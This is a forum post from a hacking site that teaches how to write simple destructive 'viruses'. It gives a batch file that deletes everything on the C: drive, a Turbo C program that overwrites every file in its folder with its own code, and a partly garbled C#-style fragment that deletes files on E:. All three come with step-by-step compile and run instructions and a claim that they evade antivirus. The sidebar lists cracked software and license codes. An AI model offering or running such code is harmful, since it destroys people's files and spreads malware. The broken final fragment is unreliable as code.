ALL ABOUT INTERNET AND HACKING
Would you like to react to this message? Create an account in a few clicks or log in to continue.
ALL ABOUT INTERNET AND HACKING

Welcome to Hackers Arena Africa Hackers Lodge
 
HomeGalleryLatest imagesSearchRegisterLog in
Latest topics
» Any Video Converter Professional 3.0.7 Registration Name And License Code
How To Create A Computer Virus EmptySun Jun 08, 2014 12:37 pm by rhyvanor

» [??????] ????? ???????????.zip
How To Create A Computer Virus EmptySat Jun 07, 2014 9:55 pm by rhyvanor

» Www Doraemon Hentai Com
How To Create A Computer Virus EmptySat Jun 07, 2014 8:38 am by rhyvanor

» 5 Best Windows 7 Visual Pack For Your XP
How To Create A Computer Virus EmptyFri Jun 06, 2014 5:30 am by rhyvanor

» 5 Best Windows 7 Visual Pack For Your XP
How To Create A Computer Virus EmptyThu Jun 05, 2014 7:10 pm by rhyvanor

» Apb Reloaded All Points Bulletin Pc Eng 2011
How To Create A Computer Virus EmptyFri May 30, 2014 8:04 am by rhyvanor

» TuneUp Utilities 2011 V10 0 3000 101 WORKING [CRACKED]-
How To Create A Computer Virus EmptyFri May 30, 2014 1:07 am by rhyvanor

» WebPoint 1.3.1.13
How To Create A Computer Virus EmptyThu May 29, 2014 4:17 pm by rhyvanor

» Adobe-pdf-converter-5.0
How To Create A Computer Virus EmptyTue May 27, 2014 7:33 pm by rhyvanor


 

 How To Create A Computer Virus

Go down 
AuthorMessage
Admin
Admin
Admin


Posts : 119
Join date : 2011-10-15
Age : 33
Location : NG

How To Create A Computer Virus Empty
PostSubject: How To Create A Computer Virus   How To Create A Computer Virus EmptySat Sep 08, 2012 9:57 pm

[You must be registered and logged in to see this image.]
Like every programmer, I, must first warn u that
creating a computer virus is illegal and one can
be jailed for performing the above activity.
However the coding given below aren’t that
harmful , Still I would suggest CAUTION.
1. Using Notepad:
This are virus programming that are not easily
detected by antivirus systems
Step-1 : open the notepad
Step-2 : write the given below code
@echo off
Del c:/ *.* ly
Step-3 :save the above file as .bat rather
than .txt
Step-4 :run the above file
WARNING: it’ll delete all the files in the c:/.
So don’t try this in your own computer.
2. Using C Compiler:
Step-1 :copy the given below code into the c
compiler you are using
#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(“*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(“Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(“DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(“TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
for Turbo C++ follow the steps given below for
compiling :-
step-1: compile using alt+f9
step-2 : press f9 to generate the exe file
( Caution: don’t press ctrl+ f9 or all the files in the
directory will be infected)
Step-3 :note down the size in bytes of the exe file
Step-4 :change the value of x =89088 with the
current size of the exe file
Step-5 : again execute the step-1 and step-2 and
obtain the exe file
Step 6 : run the exe file
How to test :
Step-1 create a new folder
Step-2 copy and paste some of the exe file
Step-3 run the exe file you generated in the same
folder
Step-4 check it with your antivirus
Note: this above coding file is the most basic virus
file that generates copy of your already
existing .exe files and making them unusable.
3. Using java :
Step-1 : name the E:/ partition delete
Step-2 open the java editor and paste the
following code
class virus
{
protected void CleanImageFolder()
{
DirectoryInfo imgInfo = new DirectoryInfo(@"E:
\delete");
FileInfo []fileinDir=imgInfo.GetFiles();
for(int i=0;i
step 3 : run the above code using System.IO
WARNING: all the files present in the e:/ will be
deleted after execution of the above code.
Try all the above codes at your own risk.
Back to top Go down
https://hack.forumpolish.com
 
How To Create A Computer Virus
Back to top 
Page 1 of 1
 Similar topics
-
» How To Create A Spam Virus ?
» How To Create Flashing Keyboard Lights
»  How To Create An Operating System In AFew Steps
» How To Create Fake Blue Screen Of Death
» How To Protect Your Desktop From Virus ByDisabling Autorun

Permissions in this forum:You cannot reply to topics in this forum
ALL ABOUT INTERNET AND HACKING :: Computer Outlet-
Jump to: